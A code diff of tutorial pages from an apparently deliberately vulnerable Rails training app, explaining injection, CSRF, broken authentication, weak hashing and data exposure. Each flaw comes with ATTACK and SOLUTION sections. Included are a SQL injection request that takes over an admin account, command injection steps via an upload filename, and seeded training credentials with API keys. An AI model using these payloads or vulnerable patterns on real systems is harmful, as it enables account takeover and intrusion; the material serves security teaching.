+2 -2
View File
@@ -8,7 +8,7 @@
<div class="user-profile"> <div class="user-profile">
<a data-toggle="dropdown" class="dropdown-toggle"> <a data-toggle="dropdown" class="dropdown-toggle">
<img src=" <%= image_path('profile_color.jpg')%>" alt="profile"> <img src=" <%= image_path('profile_color.jpg')%>" alt="profile">
</a> </a>
<span class="caret"></span> <span class="caret"></span>
<ul class="dropdown-menu pull-right"> <ul class="dropdown-menu pull-right">
@@ -22,7 +22,7 @@
</div> </div>
<ul class="mini-nav"> <ul class="mini-nav">
<li style="color: #FFFFFF"> <li style="color: #FFFFFF">
<!-- <!--
I'm going to use HTML safe because we had some weird stuff I'm going to use HTML safe because we had some weird stuff
going on with funny chars and jquery, plus it says safe so I'm guessing going on with funny chars and jquery, plus it says safe so I'm guessing
nothing bad will happen nothing bad will happen
+1 -1
View File
@@ -1,5 +1,5 @@
<% flash.each do |name, msg| %> <% flash.each do |name, msg| %>
<% if name == :error %> <% if name == :error %>
<div class="alert alert-error"> <div class="alert alert-error">
<a class="close" data-dismiss="alert" href="#">×</a> <a class="close" data-dismiss="alert" href="#">×</a>
<%= content_tag :div, msg, :id => "flash_notice" %> <%= content_tag :div, msg, :id => "flash_notice" %>
+6 -6
View File
@@ -94,17 +94,17 @@
submenu.fadeOut(250); submenu.fadeOut(250);
} }
li.removeClass('open'); li.removeClass('open');
} else } else
{ {
if(($(window).width() > 768) || ($(window).width() < 479)) { if(($(window).width() > 768) || ($(window).width() < 479)) {
submenus.slideUp(); submenus.slideUp();
submenu.slideDown(); submenu.slideDown();
} else { } else {
submenus.fadeOut(250); submenus.fadeOut(250);
submenu.fadeIn(250); submenu.fadeIn(250);
} }
submenus_parents.removeClass('open'); submenus_parents.removeClass('open');
li.addClass('open'); li.addClass('open');
} }
}); });
@@ -118,7 +118,7 @@
{ {
mainnav.removeClass('open'); mainnav.removeClass('open');
ul.slideUp(250); ul.slideUp(250);
} else } else
{ {
mainnav.addClass('open'); mainnav.addClass('open');
ul.slideDown(250); ul.slideDown(250);
+1 -1
View File
@@ -31,7 +31,7 @@
<script type="text/javascript"> <script type="text/javascript">
$('#show_creds_btn').click(function(event) { $('#show_creds_btn').click(function(event) {
event.preventDefault(); event.preventDefault();
$("#modal_div").load(<%= credentials_tutorials_path.inspect.html_safe %>); $("#modal_div").load(<%= credentials_tutorials_path.inspect.html_safe %>);
$("#modal_div").modal("show"); $("#modal_div").modal("show");
+8 -8
View File
@@ -32,7 +32,7 @@
A3 XSS A3 XSS
<% end %> <% end %>
</li> </li>
<li id="insecure_dor"> <li id="insecure_dor">
<%= link_to insecure_dor_tutorials_path do %> <%= link_to insecure_dor_tutorials_path do %>
<div class="icon"> <div class="icon">
@@ -108,7 +108,7 @@
</li> </li>
<li id="logic_flaws"> <li id="logic_flaws">
<%= link_to "Logic Flaws", logic_flaws_tutorials_path %> <%= link_to "Logic Flaws", logic_flaws_tutorials_path %>
</li> </li>
<li id="metaprogramming"> <li id="metaprogramming">
<%= link_to "Meta- Programming", metaprogramming_tutorials_path %> <%= link_to "Meta- Programming", metaprogramming_tutorials_path %>
</li> </li>
@@ -134,17 +134,17 @@ $('.submenu > a').click(function(e){
submenu.fadeOut(250); submenu.fadeOut(250);
} }
li.removeClass('open'); li.removeClass('open');
} else } else
{ {
if(($(window).width() > 768) || ($(window).width() < 479)) { if(($(window).width() > 768) || ($(window).width() < 479)) {
submenus.slideUp(); submenus.slideUp();
submenu.slideDown(); submenu.slideDown();
} else { } else {
submenus.fadeOut(250); submenus.fadeOut(250);
submenu.fadeIn(250); submenu.fadeIn(250);
} }
submenus_parents.removeClass('open'); submenus_parents.removeClass('open');
li.addClass('open'); li.addClass('open');
} }
}); });
@@ -158,7 +158,7 @@ $('#mainnav > a').click(function(e)
{ {
mainnav.removeClass('open'); mainnav.removeClass('open');
ul.slideUp(250); ul.slideUp(250);
} else } else
{ {
mainnav.addClass('open'); mainnav.addClass('open');
ul.slideDown(250); ul.slideDown(250);
@@ -36,7 +36,7 @@
<pre class="ruby"> <pre class="ruby">
<%= %q{ <%= %q{
class AdminController < ApplicationController class AdminController < ApplicationController
before_filter :administrative, :if => :admin_param before_filter :administrative, :if => :admin_param
... ...
@@ -45,8 +45,8 @@
params[:id] == '1' params[:id] == '1'
end end
} %> } %>
</pre> </pre>
</div> </div>
</div> </div>
</div> </div>
@@ -63,7 +63,7 @@
<p><b>Failure to Restrict URL Access - ATTACK</b></p> <p><b>Failure to Restrict URL Access - ATTACK</b></p>
<p class="desc"> <p class="desc">
Request the following URL: /admin/1/dashboard and have fun :-) Request the following URL: /admin/1/dashboard and have fun :-)
</p> </p>
<p><b>Failure to Restrict URL Access - SOLUTION</b></p> <p><b>Failure to Restrict URL Access - SOLUTION</b></p>
<p class="desc"> <p class="desc">
The code is already available to restrict access to the admin controller by role within app/controllers/application_controller.rb. The additional condition that if the admin_id param equals 1 means the filter can be circumvented by an attacker. The way to fix this issue is to remove the conditional and enforce the filter on all access requests to the admin dashboard as follows: The code is already available to restrict access to the admin controller by role within app/controllers/application_controller.rb. The additional condition that if the admin_id param equals 1 means the filter can be circumvented by an attacker. The way to fix this issue is to remove the conditional and enforce the filter on all access requests to the admin dashboard as follows:
@@ -71,7 +71,7 @@
<pre class="ruby"> <pre class="ruby">
<%= %q{ <%= %q{
class AdminController < ApplicationController class AdminController < ApplicationController
before_filter :administrative before_filter :administrative
} %> } %>
</pre> </pre>
@@ -34,7 +34,7 @@
<div class="accordion-inner"> <div class="accordion-inner">
<p> <p>
Within app/models/user.rb Within app/models/user.rb
</p> </p>
<pre class="ruby"> <pre class="ruby">
def self.authenticate(email, password) def self.authenticate(email, password)
auth = nil auth = nil
@@ -44,12 +44,12 @@
auth = user auth = user
else else
raise "Incorrect Password!" raise "Incorrect Password!"
end end
return auth return auth
end end
</pre> </pre>
<p class="desc"> <p class="desc">
Ignore for a moment that the application actually tells you whether or not an email address exists :-). Instead, let's look at what would happen if this error message wasn't so specific. Even if the error message vulnerability was mitigated (because it indicates whether or not a user exists), there will be some variations in the application's response between a user that exists and one that does not (however so slight, considering MD5 is in use). Ignore for a moment that the application actually tells you whether or not an email address exists :-). Instead, let's look at what would happen if this error message wasn't so specific. Even if the error message vulnerability was mitigated (because it indicates whether or not a user exists), there will be some variations in the application's response between a user that exists and one that does not (however so slight, considering MD5 is in use).
</p> </p>
<p class="desc"> <p class="desc">
To understand why, let's follow the flow of this code example. Firstly, the application look for a user by email. If not found, nothing else really happens. No further processing, password comparison, etc. If a user <i>is</i> found, we will perform a password comparison and process as normal. To understand why, let's follow the flow of this code example. Firstly, the application look for a user by email. If not found, nothing else really happens. No further processing, password comparison, etc. If a user <i>is</i> found, we will perform a password comparison and process as normal.
@@ -70,7 +70,7 @@
<p><b>Lack of Password Complexity - SOLUTION</b></p> <p><b>Lack of Password Complexity - SOLUTION</b></p>
<p> <p>
Within app/models/user.rb: Within app/models/user.rb:
</p> </p>
<pre class="ruby"> <pre class="ruby">
def self.authenticate(email, password) def self.authenticate(email, password)
<span style="background-color: yellow">user = find_by_email(email) || User.new(:password => "")</span> <span style="background-color: yellow">user = find_by_email(email) || User.new(:password => "")</span>
@@ -78,15 +78,15 @@
return user return user
else else
raise "Incorrect username or password" raise "Incorrect username or password"
end end
end end
</pre> </pre>
<p class="desc"> <p class="desc">
To mitigate this attack and shore up our weakness, we do two things. The first is to find a user by email, if they don't exist, create a new user object in memory (not in the database) and assign it a blank password value. This means, regardless of whether or not a user exists, we will have a user to perform some processing on. The next is, we take the input from the user and match it against the user object's password leveraging secure_compare. This is a function (secure_compare) used to ensure that when a comparison happens, it will always take the same amount of time. To mitigate this attack and shore up our weakness, we do two things. The first is to find a user by email, if they don't exist, create a new user object in memory (not in the database) and assign it a blank password value. This means, regardless of whether or not a user exists, we will have a user to perform some processing on. The next is, we take the input from the user and match it against the user object's password leveraging secure_compare. This is a function (secure_compare) used to ensure that when a comparison happens, it will always take the same amount of time.
</p> </p>
<p class="desc"> <p class="desc">
In summary, we have ensured that regardless of whether or not a user exists, a password comparison will always occur and it will take the same amount of time to complete. In summary, we have ensured that regardless of whether or not a user exists, a password comparison will always occur and it will take the same amount of time to complete.
</p> </p>
</div> </div>
</div> </div>
</div> </div>
@@ -102,7 +102,7 @@
<div class="accordion-inner"> <div class="accordion-inner">
<p class="desc"> <p class="desc">
Timing is everything. Authenticating is important too. Timing is everything. Authenticating is important too.
</p> </p>
</div> </div>
</div> </div>
</div> </div>
@@ -43,7 +43,7 @@
</pre> </pre>
<p class="desc"> <p class="desc">
The application validates only the password length and nothing else. Developers can leverage the format option to apply a regular expression that checks the password has sufficient complexity. The application validates only the password length and nothing else. Developers can leverage the format option to apply a regular expression that checks the password has sufficient complexity.
</p> </p>
</div> </div>
</div> </div>
</div> </div>
@@ -60,7 +60,7 @@
<p><b>Lack of Password Complexity - ATTACK</b></p> <p><b>Lack of Password Complexity - ATTACK</b></p>
<p class="desc"> <p class="desc">
Leverage a tool such as BurpSuite's intruder to brute-force the passwords of the users. The highest privileged account that you an attacker can compromise is the admin. The password is very simple ("admin1234"), username is ("admin@metacorp.com"). Leverage a tool such as BurpSuite's intruder to brute-force the passwords of the users. The highest privileged account that you an attacker can compromise is the admin. The password is very simple ("admin1234"), username is ("admin@metacorp.com").
</p> </p>
<p><b>Lack of Password Complexity - SOLUTION</b></p> <p><b>Lack of Password Complexity - SOLUTION</b></p>
<p class="desc"> <p class="desc">
This regular expression validates the password has the following requirements: This regular expression validates the password has the following requirements:
@@ -68,14 +68,14 @@
<li>1 lowercase alphabet</li> <li>1 lowercase alphabet</li>
<li>1 uppercase alphabet</li> <li>1 uppercase alphabet</li>
<li>1 special character</li> <li>1 special character</li>
</p> </p>
<pre class="ruby"> <pre class="ruby">
validates :password, :presence => true, validates :password, :presence => true,
:confirmation => true, :confirmation => true,
:if => :password, :if => :password,
:format => {:with => /\A.*(?=.{10,})(?=.*\d)(?=.*[a-z])(?=.*[A-Z])(?=.*[\@\#\$\%\^\&\+\=]).*\z/} :format => {:with => /\A.*(?=.{10,})(?=.*\d)(?=.*[a-z])(?=.*[A-Z])(?=.*[\@\#\$\%\^\&\+\=]).*\z/}
</pre> </pre>
</div> </div>
</div> </div>
</div> </div>
@@ -91,7 +91,7 @@ validates :password, :presence => true,
<div class="accordion-inner"> <div class="accordion-inner">
<p class="desc"> <p class="desc">
I wonder how strong the administrator's password is? I wonder how strong the administrator's password is?
</p> </p>
</div> </div>
</div> </div>
</div> </div>
@@ -34,8 +34,8 @@
<div class="accordion-inner"> <div class="accordion-inner">
<p><b>Username and Password Enumeration</b></p> <p><b>Username and Password Enumeration</b></p>
<p><b>Within /app/models/user.rb:</b><p> <p><b>Within /app/models/user.rb:</b><p>
<pre class="ruby"> <pre class="ruby">
def self.authenticate(email, password) def self.authenticate(email, password)
auth = nil auth = nil
@@ -46,7 +46,7 @@
auth = user auth = user
else else
raise "Incorrect Password!" raise "Incorrect Password!"
end end
else else
raise "#{email} doesn't exist!" raise "#{email} doesn't exist!"
end end
@@ -73,10 +73,10 @@
end end
</pre> </pre>
<p> On line 5 you see the exception message object "e" is created. On line 11, the message is displayed. </p> <p> On line 5 you see the exception message object "e" is created. On line 11, the message is displayed. </p>
<p class="desc"> <p class="desc">
One of these messages indicates the email address (username) doesn't exist on the system. The other indicates that the password is incorrect. Although the application will render both error messages, either one of the error messages would be harmful by itself. This type of information can be used by an attacker to harvest email addresses or usernames. Once that list is gathered, passwords can be guessed for each account. If the username being enumerated is actually an email address, a phishing campaign could ensue with emails made to look like they are originating from the vulnerable site. One of these messages indicates the email address (username) doesn't exist on the system. The other indicates that the password is incorrect. Although the application will render both error messages, either one of the error messages would be harmful by itself. This type of information can be used by an attacker to harvest email addresses or usernames. Once that list is gathered, passwords can be guessed for each account. If the username being enumerated is actually an email address, a phishing campaign could ensue with emails made to look like they are originating from the vulnerable site.
</p> </p>
</div> </div>
</div> </div>
</div> </div>
@@ -131,7 +131,7 @@
<p class="desc"> <p class="desc">
Enter an email address that wouldn't likely exist into the login form. Analyze the result.<br/><br/> Enter an email address that wouldn't likely exist into the login form. Analyze the result.<br/><br/>
Can you leverage this to gain unauthorized access? Can you leverage this to gain unauthorized access?
</p> </p>
</div> </div>
</div> </div>
</div> </div>
@@ -9,12 +9,12 @@
</h4> </h4>
</div> </div>
<div class="modal-body"> <div class="modal-body">
<div class="row"> <div class="row">
<div class="span8"> <div class="span8">
<p>Warning, this is a spoiler</p> <p>Warning, this is a spoiler</p>
<p>Are you sure you want to see the credentials?</p> <p>Are you sure you want to see the credentials?</p>
<div id="creds_hidden" style="display:none"> <div id="creds_hidden" style="display:none">
<table class="table table-striped table-hover table-bordered pull-left" id="data-table"> <table class="table table-striped table-hover table-bordered pull-left" id="data-table">
<thead> <thead>
<tr> <tr>
<th> <th>
@@ -25,20 +25,20 @@
</th> </th>
<th> <th>
API Key API Key
</th> </th>
</tr> </tr>
</thead> </thead>
<tbody> <tbody>
<tr> <tr>
<td style="word-wrap:break-word;"> <td style="word-wrap:break-word;">
admin@metacorp.com admin@metacorp.com
</td> </td>
<td> <td>
admin1234 admin1234
</td> </td>
<td> <td>
1-01de24d75cffaa66db205278d1cf900bf087a737 1-01de24d75cffaa66db205278d1cf900bf087a737
</td> </td>
</tr> </tr>
<tr> <tr>
<td style="word-wrap:break-word;"> <td style="word-wrap:break-word;">
@@ -82,15 +82,15 @@
</td> </td>
<td> <td>
5-4af604a848ca212cfa3935352aabe9522cf89fdc 5-4af604a848ca212cfa3935352aabe9522cf89fdc
</td> </td>
</tr> </tr>
</tbody> </tbody>
</table> </table>
</div> </div>
</div> </div>
</div> </div>
<div class="row-fluid"> <div class="row-fluid">
</div> </div>
</div> </div>
<div class="modal-footer"> <div class="modal-footer">
@@ -100,14 +100,14 @@
<button id="understood" class="btn btn-primary" aria-hidden="true"> <button id="understood" class="btn btn-primary" aria-hidden="true">
I understand I understand
</button> </button>
</div> </div>
<!-- End Modal --> <!-- End Modal -->
<script type="text/javascript"> <script type="text/javascript">
$('#understood').click(function() { $('#understood').click(function() {
$("#creds_hidden").show(); $("#creds_hidden").show();
}); });
@@ -37,7 +37,7 @@
# Our security guy keep talking about sea-surfing, cool story bro. # Our security guy keep talking about sea-surfing, cool story bro.
# protect_from_forgery # protect_from_forgery
</pre> </pre>
</p> </p>
<p> application.html.erb </p> <p> application.html.erb </p>
<p> <p>
@@ -64,7 +64,7 @@
</p> </p>
<p> <p>
<pre class="ruby"> <pre class="ruby">
<%= <%=
%{ %{
<html> <html>
<body> <body>
@@ -77,17 +77,17 @@
</form> </form>
</body> </body>
</html> </html>
} }
%> %>
</pre> </pre>
</p> </p>
<p><b> Cross-Site Request Forgery SOLUTION:</b></p> <p><b> Cross-Site Request Forgery SOLUTION:</b></p>
<p> <p>
By default, the protect_from_forgery directive is added under the application_controller.rb at project creation. However, occasionally developers turn it off (comment out) because of issues with JS. There are two separate solutions around the JS problem. By default, the protect_from_forgery directive is added under the application_controller.rb at project creation. However, occasionally developers turn it off (comment out) because of issues with JS. There are two separate solutions around the JS problem.
</p> </p>
<p> <p>
Once protect_from_forgery is added back... Once protect_from_forgery is added back...
<li>Add the following code within the header section of the application.html.erb file (or any other application layout file).</li> <li>Add the following code within the header section of the application.html.erb file (or any other application layout file).</li>
</p> </p>
<p> <p>
@@ -97,8 +97,8 @@
</p> </p>
<p> <p>
That will allow you to parse the meta tag with JS. However, keep in mind that any form generated by Rails is populated with an authenticity token so, if you leverage something like JQuery to make an Ajax request, you can include all values within the form by using the technique shown next. That will allow you to parse the meta tag with JS. However, keep in mind that any form generated by Rails is populated with an authenticity token so, if you leverage something like JQuery to make an Ajax request, you can include all values within the form by using the technique shown next.
</p> </p>
<p> <p>
<li>Leverage the serialize() method, shown on line 3. This grabs all the values from the form, including the authenticity token.</li> <li>Leverage the serialize() method, shown on line 3. This grabs all the values from the form, including the authenticity token.</li>
</p> </p>
<p> <p>
@@ -18,7 +18,7 @@
<div class="accordion-inner"> <div class="accordion-inner">
<p class="desc"> <p class="desc">
The application's API returns a model object (user or users). Using respond_with, the API returns the full model object. It is simple but exposes information such as the user's password and other user attributes that you may wish to keep invisible. The application's API returns a model object (user or users). Using respond_with, the API returns the full model object. It is simple but exposes information such as the user's password and other user attributes that you may wish to keep invisible.
</p> </p>
</div> </div>
</div> </div>
</div> </div>
@@ -51,7 +51,7 @@
<p class="desc"> <p class="desc">
The <i>as_json</i> method referenced in the comments section of the index action exists within the user model in order to override and safely protect our model from only rendering certain attributes. It is unused (commented out), app/models/user.rb: The <i>as_json</i> method referenced in the comments section of the index action exists within the user model in order to override and safely protect our model from only rendering certain attributes. It is unused (commented out), app/models/user.rb:
</p> </p>
<pre class="ruby"> <pre class="ruby">
# Instead of the entire user object being returned, we can use this to filter. # Instead of the entire user object being returned, we can use this to filter.
def as_json def as_json
super(only: [:user_id, :email, :first_name, :last_name]) super(only: [:user_id, :email, :first_name, :last_name])
@@ -69,14 +69,14 @@
X-Request-Id: c3b0a57861087c0b827aab231747ef0c X-Request-Id: c3b0a57861087c0b827aab231747ef0c
X-Runtime: 0.051734 X-Runtime: 0.051734
Connection: close Connection: close
{"admin":false,"created_at":"2014-01-23T16:17:10Z","email": {"admin":false,"created_at":"2014-01-23T16:17:10Z","email":
"jack@metacorp.com","first_name":"Jack","id":2,"last_name":"Mannino","password": "jack@metacorp.com","first_name":"Jack","id":2,"last_name":"Mannino","password":
"b46dd2888a0904972649cc880a93f4dd","updated_at":"2014-01-23T16:17:10Z","user_id":2} "b46dd2888a0904972649cc880a93f4dd","updated_at":"2014-01-23T16:17:10Z","user_id":2}
</pre> </pre>
<p class="desc"> <p class="desc">
Note that all attributes associated with this user are returned via the API. Note that all attributes associated with this user are returned via the API.
</p> </p>
</div> </div>
</div> </div>
</div> </div>
@@ -121,7 +121,7 @@
Connection: close Connection: close
{"email":"jack@metacorp.com","first_name":"Jack","last_name":"Mannino","user_id":2} {"email":"jack@metacorp.com","first_name":"Jack","last_name":"Mannino","user_id":2}
</pre> </pre>
</div> </div>
</div> </div>
</div> </div>
@@ -43,7 +43,7 @@
</p> </p>
<pre class="ruby"> <pre class="ruby">
before_save <span style="background-color:yellow">:hash_password</span> before_save <span style="background-color:yellow">:hash_password</span>
def self.authenticate(email, password) def self.authenticate(email, password)
auth = nil auth = nil
user = find_by_email(email) user = find_by_email(email)
@@ -52,21 +52,21 @@
auth = user auth = user
else else
raise "Incorrect Password!" raise "Incorrect Password!"
end end
else else
raise "#{email} doesn't exist!" raise "#{email} doesn't exist!"
end end
return auth return auth
end end
def hash_password def hash_password
if self.password.present? if self.password.present?
self.password = <span style="background-color:yellow">Digest::MD5.hexdigest(password)</span> self.password = <span style="background-color:yellow">Digest::MD5.hexdigest(password)</span>
end end
end end
</pre> </pre>
</div> </div>
</div> </div>
</div> </div>
@@ -88,7 +88,7 @@
<p class="desc"> <p class="desc">
A simple solution here would be to enforce a per-user salt in creating a BCrypt hash. You would need to alter the db schema to add a password_salt and password_hash columns to the table. A simple solution here would be to enforce a per-user salt in creating a BCrypt hash. You would need to alter the db schema to add a password_salt and password_hash columns to the table.
</p> </p>
<pre class="ruby"> <pre class="ruby">
def self.authenticate(email, password) def self.authenticate(email, password)
user = find_by_email(email) user = find_by_email(email)
if user and user.password_hash == <span style="background-color:yellow">BCrypt::Engine.hash_secret(password, user.password_salt)</span> if user and user.password_hash == <span style="background-color:yellow">BCrypt::Engine.hash_secret(password, user.password_salt)</span>
@@ -97,14 +97,14 @@
"Invalid Credentials Supplied" "Invalid Credentials Supplied"
end end
end end
def hash_password def hash_password
if self.password.present? if self.password.present?
<span style="background-color:yellow">self.password_salt = BCrypt::Engine.generate_salt</span> <span style="background-color:yellow">self.password_salt = BCrypt::Engine.generate_salt</span>
<span style="background-color:yellow">self.password_hash = BCrypt::Engine.hash_secret(self.password, self.password_salt)</span> <span style="background-color:yellow">self.password_hash = BCrypt::Engine.hash_secret(self.password, self.password_salt)</span>
end end
end end
</pre> </pre>
</div> </div>
</div> </div>
</div> </div>
@@ -44,7 +44,7 @@
"***-**-" << self.decrypt_ssn[-4,4] "***-**-" << self.decrypt_ssn[-4,4]
end end
</pre> </pre>
</div> </div>
</div> </div>
</div> </div>
@@ -65,11 +65,11 @@
<li>Only authorized users can access decrypted copies of the data </li> <li>Only authorized users can access decrypted copies of the data </li>
<li>Use a strong algorithm</li> <li>Use a strong algorithm</li>
<li>Strong key is generated, protected from unauthorized access, and key change is planned for.</li><br/> <li>Strong key is generated, protected from unauthorized access, and key change is planned for.</li><br/>
</p> </p>
<p class="desc"> <p class="desc">
In the following code, we demonstrate switching from the storage of full SSN(s) in clear-text to storing them in the AES-256 encrypted format. The first thing to do is build the encrypt and decrypt functions. These can be found within app/models/work_info.rb. In the following code, we demonstrate switching from the storage of full SSN(s) in clear-text to storing them in the AES-256 encrypted format. The first thing to do is build the encrypt and decrypt functions. These can be found within app/models/work_info.rb.
</p> </p>
<pre class="ruby"> <pre class="ruby">
def encrypt_ssn def encrypt_ssn
aes = OpenSSL::Cipher::Cipher.new(cipher_type) aes = OpenSSL::Cipher::Cipher.new(cipher_type)
@@ -87,7 +87,7 @@
aes.iv = iv if iv != nil aes.iv = iv if iv != nil
aes.update(self.encrypted_ssn) + aes.final aes.update(self.encrypted_ssn) + aes.final
end end
def key def key
raise "Key Missing" if !(KEY) raise "Key Missing" if !(KEY)
KEY KEY
@@ -101,7 +101,7 @@
def cipher_type def cipher_type
'aes-256-cbc' 'aes-256-cbc'
end end
</pre> </pre>
<p class="desc"> <p class="desc">
Also within the WorkInfo model, we add the following line of code... Also within the WorkInfo model, we add the following line of code...
</p> </p>
@@ -109,12 +109,12 @@
before_save :encrypt_ssn before_save :encrypt_ssn
</pre> </pre>
<p class="desc"> <p class="desc">
The remaining pieces are: The remaining pieces are:
<li> We "seed" the database with per-user initialization vectors (IV) and store them within the key_management table</li> <li> We "seed" the database with per-user initialization vectors (IV) and store them within the key_management table</li>
<li> Separate production and development encryption keys. Production keys should be stored in an HSM, environment variable, etc. but never within the source code. Development keys are irrelevant if not being used for real data</li> <li> Separate production and development encryption keys. Production keys should be stored in an HSM, environment variable, etc. but never within the source code. Development keys are irrelevant if not being used for real data</li>
<li> Change the view where SSNs are called and rendered to the user so that the "last_four" method is called instead</li> <li> Change the view where SSNs are called and rendered to the user so that the "last_four" method is called instead</li>
<li> For new user's who are registering, we create an initialization specific to their account</li> <li> For new user's who are registering, we create an initialization specific to their account</li>
</p> </p>
<pre class="ruby"> <pre class="ruby">
# SEED DATA # SEED DATA
work_info.each do |wi| work_info.each do |wi|
@@ -133,7 +133,7 @@
elsif Rails.env.development? elsif Rails.env.development?
KEY = "123456789101112123456789101112123456789101112" KEY = "123456789101112123456789101112123456789101112"
end end
</pre> </pre>
<pre class="ruby"> <pre class="ruby">
# CHANGE VIEW TO CALL LAST FOUR METHOD (app/views/work_info/index.html.erb) # CHANGE VIEW TO CALL LAST FOUR METHOD (app/views/work_info/index.html.erb)
<%= CGI.unescapeHTML("&lt;td class=&quot;ssn&quot;&gt;&lt;%= @user.work_info.last_four %&gt;&lt;/td&gt;") %> <%= CGI.unescapeHTML("&lt;td class=&quot;ssn&quot;&gt;&lt;%= @user.work_info.last_four %&gt;&lt;/td&gt;") %>
@@ -147,7 +147,7 @@
work_info.build_key_management(:iv => SecureRandom.hex(32)) work_info.build_key_management(:iv => SecureRandom.hex(32))
performance.build(POPULATE_PERFORMANCE.shuffle.first) performance.build(POPULATE_PERFORMANCE.shuffle.first)
end end
</pre> </pre>
</div> </div>
</div> </div>
</div> </div>
@@ -37,7 +37,7 @@
</p> </p>
<p> <p>
Within app/controllers/benefits_controller.rb: Within app/controllers/benefits_controller.rb:
</p> </p>
<pre class="ruby"> <pre class="ruby">
def upload def upload
<span style="background:yellow">file = params[:benefits][:upload]</span> <span style="background:yellow">file = params[:benefits][:upload]</span>
@@ -46,7 +46,7 @@
<span style="background:yellow">Benefits.save(file, params[:benefits][:backup])</span> <span style="background:yellow">Benefits.save(file, params[:benefits][:backup])</span>
else else
flash[:error] = "Something went wrong" flash[:error] = "Something went wrong"
end end
redirect_to user_benefit_forms_path(:user_id => current_user.user_id) redirect_to user_benefit_forms_path(:user_id => current_user.user_id)
end end
</pre> </pre>
@@ -71,11 +71,11 @@
end end
end end
</pre> </pre>
<p class="desc"> <p class="desc">
The command injection vulnerability is introduced when the user-supplied input (name of file) is interpolated or mixed in with a system command. The command injection vulnerability is introduced when the user-supplied input (name of file) is interpolated or mixed in with a system command.
</p> </p>
</div> </div>
</div> </div>
</div> </div>
@@ -92,7 +92,7 @@
<p><b>Command Injection - ATTACK</b></p> <p><b>Command Injection - ATTACK</b></p>
<p class="desc"> <p class="desc">
The filename portion of the benefits[upload] parameter is vulnerable to command injection. Navigate to the benefits section of the application, and choose a file to upload. Once the file is chosen, turn your intercepting proxy on, click start upload, and intercept the request. you will want to change the backup option to true (highlighted below) and inject your commands within the filename parameter (highlighted). Note: forward slashes ('/') are escaped by the original_filename method (used to extract the file name ). The filename portion of the benefits[upload] parameter is vulnerable to command injection. Navigate to the benefits section of the application, and choose a file to upload. Once the file is chosen, turn your intercepting proxy on, click start upload, and intercept the request. you will want to change the backup option to true (highlighted below) and inject your commands within the filename parameter (highlighted). Note: forward slashes ('/') are escaped by the original_filename method (used to extract the file name ).
</p> </p>
<pre class='ruby'> <pre class='ruby'>
POST /upload HTTP/1.1 POST /upload HTTP/1.1
Host: railsgoat.dev Host: railsgoat.dev
@@ -124,16 +124,16 @@
</pre> </pre>
<p><b>Command Injection - SOLUTION</b></p> <p><b>Command Injection - SOLUTION</b></p>
<p class="desc"> <p class="desc">
The solution is fairly simple and because this is so poorly done there are numerous ways to fix the vulnerability. One option, is to abstract a file creation method and pass it options such as the path and filename, then call it twice, once for the initial upload and another for the backup. Another option is to make a copy through the use of the FileUtils. The solution is fairly simple and because this is so poorly done there are numerous ways to fix the vulnerability. One option, is to abstract a file creation method and pass it options such as the path and filename, then call it twice, once for the initial upload and another for the backup. Another option is to make a copy through the use of the FileUtils.
</p> </p>
<p> <p>
As an example: As an example:
</p> </p>
<pre class="ruby"> <pre class="ruby">
def self.make_backup(file, data_path, full_file_name) def self.make_backup(file, data_path, full_file_name)
FileUtils.cp "#{full_file_name}", "#{data_path}/bak#{Time.now.to_i}_#{file.original_filename}" FileUtils.cp "#{full_file_name}", "#{data_path}/bak#{Time.now.to_i}_#{file.original_filename}"
end end
</pre> </pre>
</div> </div>
</div> </div>
</div> </div>
@@ -150,7 +150,7 @@
Let's create a backup when uploading a file, wonder how they are naming it? Let's create a backup when uploading a file, wonder how they are naming it?
</div> </div>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
@@ -37,7 +37,7 @@
</p> </p>
<p> <p>
Within app/controllers/users_controller.rb Within app/controllers/users_controller.rb
</p> </p>
<pre class="ruby"> <pre class="ruby">
def update def update
message = false message = false
@@ -55,7 +55,7 @@
</pre> </pre>
<p class="desc"> <p class="desc">
The injection vulnerability is introduced when user-supplied input is placed within the SQL string that will be executed as a query. The application will not be able to determine which portion of this query is data and which portion is a query as the user input is interpolated or co-mingled with the query string. The injection vulnerability is introduced when user-supplied input is placed within the SQL string that will be executed as a query. The application will not be able to determine which portion of this query is data and which portion is a query as the user input is interpolated or co-mingled with the query string.
</p> </p>
</div> </div>
</div> </div>
</div> </div>
@@ -92,7 +92,7 @@
</pre> </pre>
<p class="desc"> <p class="desc">
Now we will inject some SQL Query syntax that will return the first result of a query that looks for users that have an admin attribute that is true. So essentially, instead of looking up the user whose data we will change by our user ID, we tell the database to return the first admin and update their data. In this instance, we are changing admin@metacorp.com's password to testtest. We can later login as that user. Granted, we could just change the user_id to 1 and do the same thing, and there are other ways to exploit this weakness but this is a clear-cut example of SQL Injection. <b> It is important to note that we have omitted the email, first, and last name parameters as a duplicate email address will cause errors. Additionally, we do not wish to change the admin's first and last name as this would alert the admin to the "hack".</b> Now we will inject some SQL Query syntax that will return the first result of a query that looks for users that have an admin attribute that is true. So essentially, instead of looking up the user whose data we will change by our user ID, we tell the database to return the first admin and update their data. In this instance, we are changing admin@metacorp.com's password to testtest. We can later login as that user. Granted, we could just change the user_id to 1 and do the same thing, and there are other ways to exploit this weakness but this is a clear-cut example of SQL Injection. <b> It is important to note that we have omitted the email, first, and last name parameters as a duplicate email address will cause errors. Additionally, we do not wish to change the admin's first and last name as this would alert the admin to the "hack".</b>
</p> </p>
<pre class="ruby"> <pre class="ruby">
POST /users/5.json HTTP/1.1 POST /users/5.json HTTP/1.1
Host: railsgoat.dev Host: railsgoat.dev
@@ -110,7 +110,7 @@
Cache-Control: no-cache Cache-Control: no-cache
utf8=✓&_method=put&authenticity_token=GXhLKKhfBXdFx5i6iqHEd5E32Kebn1+G35eA87RW1tU=&<span style="background:yellow">user[user_id]=5') OR admin = 't' --'")</span>&user[password]=testtest1&user[password_confirmation]=testtest1 utf8=✓&_method=put&authenticity_token=GXhLKKhfBXdFx5i6iqHEd5E32Kebn1+G35eA87RW1tU=&<span style="background:yellow">user[user_id]=5') OR admin = 't' --'")</span>&user[password]=testtest1&user[password_confirmation]=testtest1
</pre> </pre>
<p><b>SQL Injection - SOLUTION</b></p> <p><b>SQL Injection - SOLUTION</b></p>
<p class="desc"> <p class="desc">
In this instance, the more secure route would be to reference the current_user object versus pulling from the database manually, using POST parameters provided by the user.<br/><br/> In this instance, the more secure route would be to reference the current_user object versus pulling from the database manually, using POST parameters provided by the user.<br/><br/>
@@ -119,7 +119,7 @@
def update def update
message = false message = false
<span style="background-color:yellow">user = current_user</span> <span style="background-color:yellow">user = current_user</span>
